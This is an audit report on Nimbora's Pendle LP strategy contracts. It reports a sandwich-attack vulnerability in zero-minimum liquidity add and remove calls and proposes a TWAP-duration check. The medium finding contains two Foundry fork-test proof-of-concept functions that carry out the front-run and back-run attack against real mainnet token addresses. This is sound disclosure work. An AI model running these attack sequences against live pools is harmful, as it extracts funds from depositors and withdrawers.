# Nimbora Pendle Strategies Security Review // 17-04-2024

### Scope
| Type | File | Logic Contracts | Interfaces | Lines | nLines | nSLOC | Comment Lines | Complex. Score | Capabilities |
| ---- | ------ | --------------- | ---------- | ----- | ------ | ----- | ------------- | -------------- | ------------ |
| 🎨 | contracts/strategies/StrategyBase.sol | 1 | **** | 77 | 61 | 46 | 4 | 42 | **** |
| 🎨 | contracts/strategies/pendleLp/PendleLpStrategyBase.sol | 1 | **** | 370 | 334 | 214 | 112 | 214 | **** |
| 📝 | contracts/strategies/pendleLp/sdai/PendleLpStrategySDai.sol | 1 | **** | 35 | 35 | 24 | 3 | 18 | **** |
| 📝🎨 | **Totals** | **3** | **** | **482** | **430** | **284** | **119** | **274** | **** |

https://spaceshard.notion.site/Audit-Scope-b2d7ad9da65f4225a4182a81e4505f69

### Commit hash and branch
cfdf183caddb2bff3bf72605571de480e9a869ec

## [M-1] Withdrawals and deposits can be frontrunned and user gets lesser tokens in return

### Summary

Since single sided liquidity removal is a swap under the hood in PendleAMM, all the withdrawals can be sandwiched if its profitable for a MEV researcher to do so.

### Vulnerability Details
Withdrawals use `removeLiquiditySingleSy` with minimum amount as "0". Since the withdrawal is a swap under the hood, any MEV researcher can sandwich the withdrawal and pocket profit which would translate a loss to the withdrawer.

Just like withdrawals, strategy adds single sided SY liquidity when deposits which can also be frontrunned.

**Coded PoC for Withdrawals:**

    // forge test --fork-url {rpc} --match-test test_SandwichWithdrawals -vv
    function test_SandwichWithdrawals() external {
        address strategy_ = address(123);
        address syDAI = 0x90f1935f733Dd8826DcA2Bd01ccFc600F20E978E;
        address ptToken = 0x988B6914866e2ad9Dc9b034387636D2641f79AA3;

        LimitOrderData memory limit;
        ApproxParams memory guessPtOut = ApproxParams({
            guessMin: 0,
            guessMax: type(uint256).max,
            guessOffchain: 0,
            maxIteration: 256,
            eps: 1e14
        });
        
        uint ptAm = 500_000 * 1e18;
        uint syAm = 500_000 * 1e18;
        deal(syDAI, strategy_, syAm);

        vm.prank(strategy_);
        IERC20(syDAI).approve(address(PENDLE_ROUTER), type(uint256).max);


        // strategy has deposited "syAm" amount of sy tokens and received LP tokens
        deal(syDAI, strategy_, syAm);
        vm.prank(strategy_);
        (uint lpAm, ) = PENDLE_ROUTER_LIQ.addLiquiditySingleSy(strategy_, market(), syAm, 0, guessPtOut, limit);
        console.log("lP AM", lpAm);
        skip(1);

        // attacker sees the strategy withdrawal and rebalances the pool to its favour to pocket profits
        // basically puts more PT on pool knowing that the strategy will single sided remove liquidity to SY
        // if there are more PT and less SY strategy will get very less SY and even more imbalance the pool
        // then the attacker can withdraw its liquidity back to PT and get more PT than initially provided.
        address attacker = address(12);
        deal(ptToken, attacker, ptAm);
        vm.prank(attacker);
        IERC20(ptToken).approve(address(PENDLE_ROUTER), type(uint256).max);
        vm.prank(attacker);
        (uint lpAmAttacker, ) = PENDLE_ROUTER_LIQ.addLiquiditySinglePt(attacker, market(), ptAm, 0, guessPtOut, limit);
        console.log("lP AM attacker", lpAmAttacker);


        // strategy withdrawal goes through, remember attacker put more PT on contract means that there are very less SY
        // and strategy is trying to withdraw single sided to SY
        vm.prank(strategy_);
        IERC20(market()).approve(address(PENDLE_ROUTER), type(uint256).max);
        vm.prank(strategy_);
        (uint receivedSY, ) = PENDLE_ROUTER_LIQ.removeLiquiditySingleSy(strategy_, market(), lpAm, 0, limit);
        console.log("Received SY", receivedSY);

        // righ after the strategy signle sided removed liquidity to SY attacker removes its liquidity back to PT
        // pocketing profit.
        vm.prank(attacker);
        IERC20(market()).approve(address(PENDLE_ROUTER), type(uint256).max);
        vm.prank(attacker);
        (uint receivedPTAttacker, ) = PENDLE_ROUTER_LIQ.removeLiquiditySinglePt(attacker, market(), lpAmAttacker, 0, guessPtOut, limit);
        console.log("Received SY attacker", receivedPTAttacker);

        assertGe(receivedPTAttacker, ptAm);
    }

**Coded PoC for Deposits:**

// forge test --fork-url {rpc} --match-contract PendleLpStrategySDaiTest --match-test test_SandwichDeposits -vv
    function test_SandwichDeposits() external {
        address strategy_ = address(123);
        address syDAI = 0x90f1935f733Dd8826DcA2Bd01ccFc600F20E978E;
        address ptToken = 0x988B6914866e2ad9Dc9b034387636D2641f79AA3;

        LimitOrderData memory limit;
        ApproxParams memory guessPtOut = ApproxParams({
            guessMin: 0,
            guessMax: type(uint256).max,
            guessOffchain: 0,
            maxIteration: 256,
            eps: 1e14
        });
        
        uint ptAm = 500_000 * 1e18;
        uint syAm = 500_000 * 1e18;
        deal(syDAI, strategy_, syAm);

        vm.prank(strategy_);
        IERC20(syDAI).approve(address(PENDLE_ROUTER), type(uint256).max);

        // attacker sees the strategy add liquidity single sided with SY
        address attacker = address(12);
        deal(syDAI, attacker, syAm);
        vm.prank(attacker);
        IERC20(syDAI).approve(address(PENDLE_ROUTER), type(uint256).max);
        vm.prank(attacker);
        (uint lpAmAttacker, ) = PENDLE_ROUTER_LIQ.addLiquiditySingleSy(attacker, market(), syAm, 0, guessPtOut, limit);
        console.log("lP AM attacker", lpAmAttacker);


        // strategy has deposited "syAm" amount of sy tokens and received LP tokens
        deal(syDAI, strategy_, syAm);
        vm.prank(strategy_);
        (uint lpAm, ) = PENDLE_ROUTER_LIQ.addLiquiditySingleSy(strategy_, market(), syAm, 0, guessPtOut, limit);
        console.log("lP AM", lpAm);
        skip(1);

        // righ after the strategy signle sided added liquidity, attacker removes the single sided liquidity back to SY
        vm.prank(attacker);
        IERC20(market()).approve(address(PENDLE_ROUTER), type(uint256).max);
        vm.prank(attacker);
        (uint receivedSYAttacker, ) = PENDLE_ROUTER_LIQ.removeLiquiditySingleSy(attacker, market(), lpAmAttacker, 0, limit);
        console.log("Received SY attacker", receivedSYAttacker);

        assertGe(receivedSYAttacker, syAm);
    }

### Links to code
https://github.com/0xSpaceShard/nimbora_yields_l1_new_strategies/blob/e697b0fd1e58d5f046815acce4ea35779437e619/contracts/strategies/pendleLp/PendleLpStrategyBase.sol#L281-L322
### Impact
Losses for withdrawers
### Recommendation
Without being sure, I think this only applies when the pool is already imbalanced and the strategy holds considerable amount of LP and the withdrawer is withdrawing considerable amount of LP tokens. If thats the case, limiting what can be withdrawn in one go could be a solution.

- [ ] Fixed
- [ ] Will not fix

## Low Severity Issues and Best Practices
* When changing the TWAP validate the TWAP duration as it's done in the initialize method with `_verifyOracleReady`
https://github.com/0xSpaceShard/nimbora_yields_l1_new_strategies/blob/e697b0fd1e58d5f046815acce4ea35779437e619/contracts/strategies/pendleLp/PendleLpStrategyBase.sol#L194-L197
**Recommendation:**

function setTwapDuration(uint32 _twapDuration) external {
        _assertOnlyRoleOwner();
        twapDuration = _twapDuration;
+        _verifyOracleReady(yieldToken, _twapDuration)
    }

- [x] [Fixed](https://github.com/0xSpaceShard/nimbora_yields_l1_new_strategies/pull/12)
- [ ] Will not fix